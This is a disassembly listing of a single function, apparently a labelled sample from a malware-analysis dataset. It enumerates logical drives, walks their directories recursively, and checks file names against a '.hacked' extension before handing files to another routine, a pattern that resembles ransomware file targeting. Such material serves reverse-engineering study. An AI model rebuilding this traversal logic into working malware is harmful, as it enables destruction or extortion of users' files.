Function at 0x403910
Capabilities:
Get disk information

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40878c
mov eax, dword fs:[0]
push eax
push ecx
push ebx
sub esp, 0xa8
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x1c], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x84], 0
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movq qword [ebp - 0x28], xmm0
mov dword [ebp - 0x20], 0
push 0x104
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x84], 0x40
call fcn.004075e6
add esp, 4
mov edi, eax
push 0x104
push 0
push edi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push edi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
test eax, eax
je 0x403a8c
xor esi, esi
nop dword [eax]
mov al, byte [esi + edi]
test al, al
je 0x403a80
mov byte [ebp - 0x7c], al
lea ecx, [ebp - 0x50]
mov al, byte [esi + edi + 1]
xorps xmm0, xmm0
mov byte [ebp - 0x7b], al
mov al, byte [esi + edi + 2]
mov byte [ebp - 0x7a], al
lea eax, [ebp - 0x7c]
push 3
push eax
movups xmmword [ebp - 0x50], xmm0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
call fcn.00406070
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x20]
je 0x403a3b
movups xmm0, xmmword [ebp - 0x50]
mov ecx, 0xf
mov byte [ebp - 0x50], 0
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x40]
movq qword [eax + 0x10], xmm0
add dword [ebp - 0x24], 0x18
jmp 0x403a4b
lea ecx, [ebp - 0x50]
push ecx
push eax
lea ecx, [ebp - 0x28]
call fcn.00406b10
mov ecx, dword [ebp - 0x3c]
mov byte [ebp - 4], 0
cmp ecx, 0xf
jbe 0x403a80
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403a76
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403b49
push ecx
push edx
call fcn.004075d8
add esp, 8
add esi, 4
cmp esi, 0x64
jl 0x4039d0
push edi
call fcn.0040759e
mov ecx, dword [ebp - 0x28]
add esp, 4
mov eax, dword [ebp - 0x24]
mov edx, ecx
mov dword [ebp - 0x90], ecx
mov dword [ebp - 0x98], eax
nop dword [eax]
cmp edx, dword [ebp - 0x98]
je 0x403ea2
push edx
lea ecx, [ebp - 0x50]
call fcn.00404cf0
mov byte [ebp - 4], 2
lea eax, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0xf
push dword [ebp - 0x40]
cmova eax, dword [ebp - 0x50]
push eax
call fcn.0040707a
mov edx, eax
lea ecx, [ebp - 0x70]
call fcn.00401990
or dword [ebp - 0x84], 0x30
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
add esp, 4
mov byte [ebp - 4], 4
lea edx, [ebp - 0x70]
lea ecx, [ebp - 0x30]
call fcn.00405640
add esp, 4
test eax, eax
jne 0x403f19
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x5c]
cmp ecx, 7
jbe 0x403b59
mov edx, dword [ebp - 0x70]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403b4f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403b4f
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004075d8
add esp, 8
mov ecx, dword [ebp - 0x2c]
xorps xmm0, xmm0
movlpd qword [ebp - 0x38], xmm0
test ecx, ecx
je 0x403b6c
lock inc dword [ecx + 4]
mov esi, dword [ebp - 0x30]
mov edi, ecx
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x34], edi
test ecx, ecx
je 0x403b7f
lock inc dword [ecx + 4]
xor eax, eax
movlpd qword [ebp - 0x58], xmm0
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x54], eax
test ecx, ecx
je 0x403bbc
or eax, 0xffffffff
lock xadd dword [ecx + 4], eax
jne 0x403bb9
mov eax, dword [ecx]
call dword [eax]
mov ecx, dword [ebp - 0x2c]
or eax, 0xffffffff
lock xadd dword [ecx + 8], eax
jne 0x403bb9
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x7c]
nop dword [eax]
cmp esi, eax
je 0x403e04
lea edi, [esi + 0x20]
mov byte [ebp - 4], 9
cmp dword [edi + 0x14], 7
mov eax, edi
mov dword [ebp - 0xa0], edi
jbe 0x403bdf
mov eax, dword [edi]
push 0xffffffffffffffff
push 3
lea ecx, [ebp - 0x78]
push ecx
push eax
call fcn.00407266
mov esi, eax
test esi, esi
jne 0x403c27
mov eax, dword [ebp - 0x68]
test eax, 0x400
je 0x403c1c
mov ecx, dword [ebp - 0x64]
cmp ecx, 0xa000000c
jne 0x403c0d
lea eax, [esi + 4]
jmp 0x403c33
cmp ecx, 0xa0000003
jne 0x403c1c
mov eax, 0xa
jmp 0x403c33
and eax, 0x10
or eax, 0x20
shr eax, 4
jmp 0x403c33
push esi
call fcn.004018e0
add esp, 4
movzx eax, al
test esi, esi
je 0x403c45
cmp eax, 1
je 0x403c45
cmp eax, 9
jne 0x403f29
cmp eax, 3
je 0x403dc1
cmp dword [edi + 0x14], 7
mov eax, edi
jbe 0x403c58
mov eax, dword [edi]
push dword [edi + 0x10]
lea ecx, [ebp - 0xb8]
push eax
call fcn.004067e0
or dword [ebp - 0x84], 3
lea ecx, [ebp - 0xb8]
mov edx, dword [ebp - 0xb8]
add esp, 8
cmp dword [ebp - 0xa4], 0xf
mov eax, dword [ebp - 0xa8]
cmova ecx, edx
mov dword [ebp - 0x8c], edx
seta byte [ebp - 0x7d]
mov dword [ebp - 0x88], ecx
cmp eax, 7
jb 0x403d3c
add eax, 0xfffffffa
add eax, ecx
mov dword [ebp - 0x9c], eax
sub eax, ecx
push eax
push 0x2e
push ecx
call sub.VCRUNTIME140.dll_memchr
mov esi, eax
add esp, 0xc
test esi, esi
je 0x403d36
nop word [eax + eax]
mov ecx, esi
mov edx, str..hacked
mov edi, 3
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x403ceb
add ecx, 4
add edx, 4
or edi, 0xffffffff
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x403d12
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x403d12
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x403d12
cmp edi, 0xffffffff
je 0x403d0e
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
jne 0x403d12
xor eax, eax
jmp 0x403d17
sbb eax, eax
or eax, 1
test eax, eax
je 0x403d6c
mov eax, dword [ebp - 0x9c]
inc esi
sub eax, esi
push eax
push 0x2e
push esi
call sub.VCRUNTIME140.dll_memchr
mov esi, eax
add esp, 0xc
test esi, esi
jne 0x403cd0
mov edx, dword [ebp - 0x8c]
or esi, 0xffffffff
cmp byte [ebp - 0x7d], 0
je 0x403d84
mov ecx, dword [ebp - 0xa4]
mov eax, edx
inc ecx
cmp ecx, 0x1000
jb 0x403d7a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403d7a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
sub esi, dword [ebp - 0x88]
mov edx, dword [ebp - 0x8c]
jmp 0x403d3f
push ecx
push edx
call fcn.004075d8
add esp, 8
cmp esi, 0xffffffff
je 0x403dc1
mov eax, dword [ebp - 0xa0]
sub esp, 0x18
mov edx, esp
mov ecx, eax
mov dword [ebp - 0x88], edx
cmp dword [eax + 0x14], 7
jbe 0x403da4
mov ecx, dword [eax]
push dword [eax + 0x10]
push ecx
mov ecx, edx
call fcn.004067e0
or dword [ebp - 0x84], 0xc
add esp, 8
call fcn.004032e0
add esp, 0x18
mov dword [ebp - 4], 8
lea ecx, [ebp - 0x38]
call fcn.00402da0
test eax, eax
jne 0x403f36
mov edi, dword [ebp - 0x34]
mov esi, dword [ebp - 0x38]
mov eax, dword [ebp - 0x7c]
jmp 0x403bc0
test edi, edi
je 0x403e29
or eax, 0xffffffff
lock xadd dword [edi + 4], eax
jne 0x403e29
mov eax, dword [edi]
mov ecx, edi
call dword [eax]
or eax, 0xffffffff
lock xadd dword [edi + 8], eax
jne 0x403e29
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 4]
mov esi, dword [ebp - 0x2c]
test esi, esi
je 0x403e51
or eax, 0xffffffff
lock xadd dword [esi + 4], eax
jne 0x403e51
mov eax, dword [esi]
mov ecx, esi
call dword [eax]
or eax, 0xffffffff
lock xadd dword [esi + 8], eax
jne 0x403e51
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 4]
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0xf
jbe 0x403e8b
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x403e81
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403e81
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004075d8
add esp, 8
mov edx, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x28]
add edx, 0x18
mov dword [ebp - 0x90], edx
jmp 0x403ab0
test ecx, ecx
je 0x403efb
mov edx, dword [ebp - 0x24]
push ecx
call fcn.00406160
mov ecx, dword [ebp - 0x20]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x28]
add esp, 4
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
lea ecx, [eax + eax*2]
mov eax, esi
shl ecx, 3
cmp ecx, 0x1000
jb 0x403ef1
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x403ef1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push esi
call fcn.004075d8
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.00407590
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
lea ecx, [ebp - 0x70]
mov edx, eax
push ecx
mov ecx, str.recursive_directory_iterator::recursive_directory_iterator
call fcn.004029d0
push edi
mov edx, esi
mov ecx, str.status
call fcn.004029d0
mov edx, eax
call fcn.00402890
int3